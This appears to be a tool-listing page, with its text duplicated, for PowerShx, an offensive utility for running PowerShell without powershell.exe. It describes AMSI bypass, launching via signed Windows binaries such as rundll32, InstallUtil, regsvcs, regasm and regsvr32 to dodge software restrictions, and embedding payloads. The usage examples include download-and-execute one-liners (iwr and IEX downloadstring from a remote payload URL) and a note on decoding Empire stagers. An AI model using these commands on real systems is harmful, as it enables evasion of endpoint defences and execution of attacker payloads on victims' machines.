PowerShx - Run Powershell Without Software Restrictions

Unmanaged PowerShell execution using DLLs or a standalone executable. IntroductionPowerShx is a rewrite and expansion on the PowerShdll project. PowerShx provide functionalities for bypassing AMSI and running PS Cmdlets. FeaturesRun Powershell with DLLs using rundll32.exe, installutil.exe, regsvcs.exe or regasm.exe, regsvr32.exe. Run Powershell without powershell.exe or powershell_ise.exe AMSI Bypass features. Run Powershell scripts directly from the command line or Powershell files Import Powershell modules and execute Powershell Cmdlets. Usage.dll versionrundll32rundll32 PowerShx.dll,main -e rundll32 PowerShx.dll,main -f Run the script passed as argumentrundll32 PowerShx.dll,main -f -c Load a script and run a PS cmdletrundll32 PowerShx.dll,main -w Start an interactive console in a new windowrundll32 PowerShx.dll,main -i Start an interactive consolerundll32 PowerShx.dll,main -s Attempt to bypass AMSIrundll32 PowerShx.dll,main -v Print Execution Output to the console Alternatives (Credit to SubTee for these techniques):1. x86 - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PowerShx.dll x64 - C:\Windows\Microsoft.NET\Framework64\v4.0.3031964\InstallUtil.exe /logfile= /LogToConsole=false /U PowerShx.dll2. x86 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe PowerShx.dll x64 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regsvcs.exe PowerShx.dll3. x86 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U PowerShx.dll x64 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /U PowerShx.dll4. regsvr32 /s /u PowerShx.dll -->Calls DllUnregisterServer regsvr32 /s PowerShx.dll --> Calls DllRegisterServer .exe versionPowerShx.exe -i Start an interactive consolePowerShx.exe -e PowerShx.exe -f Run the script passed as argumentPowerShx.exe -f -c Load a script and run a PS cmdletPowerShx.exe -s Attempt to bypass AMSI. Embedded payloadsPayloads can be embedded by updating the data dictionary "Common.Payloads.PayloadDict" in the "Common" project and calling it in the method PsSession.cs -> Handle() . Example: in Handle() method: private void Handle(Options options){ // Pre-execution before user script _ps.Exe(Payloads.PayloadDict["amsi"]);} ExamplesRun a base64 encoded scriptrundll32 PowerShx.dll,main [System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String("BASE64")) ^| iexPowerShx.exe -e [System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String("BASE64")) ^| iex Note: Empire stagers need to be decoded using [System.Text.Encoding]::Unicode Run a base64 encoded scriptrundll32 PowerShx.dll,main . { iwr -useb https://website.com/Script.ps1 } ^| iex;PowerShx.exe -e "IEX ((new-object net.webclient).downloadstring('http://192.168.100/payload-http'))" Requirements.NET 4 Known IssuesSome errors do not seem to show in the output. May be confusing as commands such as Import-Module do not output an error on failure. Make sure you have typed your commands correctly. In dll mode, interractive mode and command output rely on hijacking the parent process' console. If the parent process does not have a console, use the -n switch to not show output otherwise the application will crash. Due to the way Rundll32 handles arguments, using several space characters between switches and arguments may cause issues. Multiple spaces inside the scripts are okay. Download PowerShx

PowerShx - Run Powershell Without Software Restrictions


Unmanaged PowerShell execution using DLLs or a standalone executable.


Introduction

PowerShx is a rewrite and expansion on the PowerShdll project. PowerShx provide functionalities for bypassing AMSI and running PS Cmdlets.


Features
  • Run Powershell with DLLs using rundll32.exe, installutil.exe, regsvcs.exe or regasm.exe, regsvr32.exe.
  • Run Powershell without powershell.exe or powershell_ise.exe
  • AMSI Bypass features.
  • Run Powershell scripts directly from the command line or Powershell files
  • Import Powershell modules and execute Powershell Cmdlets.

Usage

.dll version

rundll32
rundll32 PowerShx.dll,main -e                           
rundll32 PowerShx.dll,main -f Run the script passed as argument
rundll32 PowerShx.dll,main -f -c Load a script and run a PS cmdlet
rundll32 PowerShx.dll,main -w Start an interactive console in a new window
rundll32 PowerShx.dll,main -i Start an interactive console
rundll32 PowerShx.dll,main -s Attempt to bypass AMSI
rundll32 PowerShx.dll,main -v Print Execution Output to the console

Alternatives (Credit to SubTee for these techniques):
1. 
x86 - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PowerShx.dll
x64 - C:\Windows\Microsoft.NET\Framework64\v4.0.3031964\InstallUtil.exe /logfile= /LogToConsole=false /U PowerShx.dll
2.
x86 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe PowerShx.dll
x64 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regsvcs.exe PowerShx.dll
3.
x86 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U PowerShx.dll
x64 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /U PowerShx.dll
4.
regsvr32 /s /u PowerShx.dll -->Calls DllUnregisterServer
regsvr32 /s PowerShx.dll --> Calls DllRegisterServer

.exe version
PowerShx.exe -i                          Start an interactive console
PowerShx.exe -e
PowerShx.exe -f Run the script passed as argument
PowerShx.exe -f -c Load a script and run a PS cmdlet
PowerShx.exe -s Attempt to bypass AMSI.

Embedded payloads

Payloads can be embedded by updating the data dictionary "Common.Payloads.PayloadDict" in the "Common" project and calling it in the method PsSession.cs -> Handle() . Example: in Handle() method:

private void Handle(Options options)
{
// Pre-execution before user script
_ps.Exe(Payloads.PayloadDict["amsi"]);
}

Examples

Run a base64 encoded script
rundll32 PowerShx.dll,main [System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String("BASE64")) ^| iex

PowerShx.exe -e [System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String("BASE64")) ^| iex

Note: Empire stagers need to be decoded using [System.Text.Encoding]::Unicode


Run a base64 encoded script
rundll32 PowerShx.dll,main . { iwr -useb https://website.com/Script.ps1 } ^| iex;

PowerShx.exe -e "IEX ((new-object net.webclient).downloadstring('http://192.168.100/payload-http'))"

Requirements

.NET 4


Known Issues

Some errors do not seem to show in the output. May be confusing as commands such as Import-Module do not output an error on failure. Make sure you have typed your commands correctly.

In dll mode, interractive mode and command output rely on hijacking the parent process' console. If the parent process does not have a console, use the -n switch to not show output otherwise the application will crash.

Due to the way Rundll32 handles arguments, using several space characters between switches and arguments may cause issues. Multiple spaces inside the scripts are okay.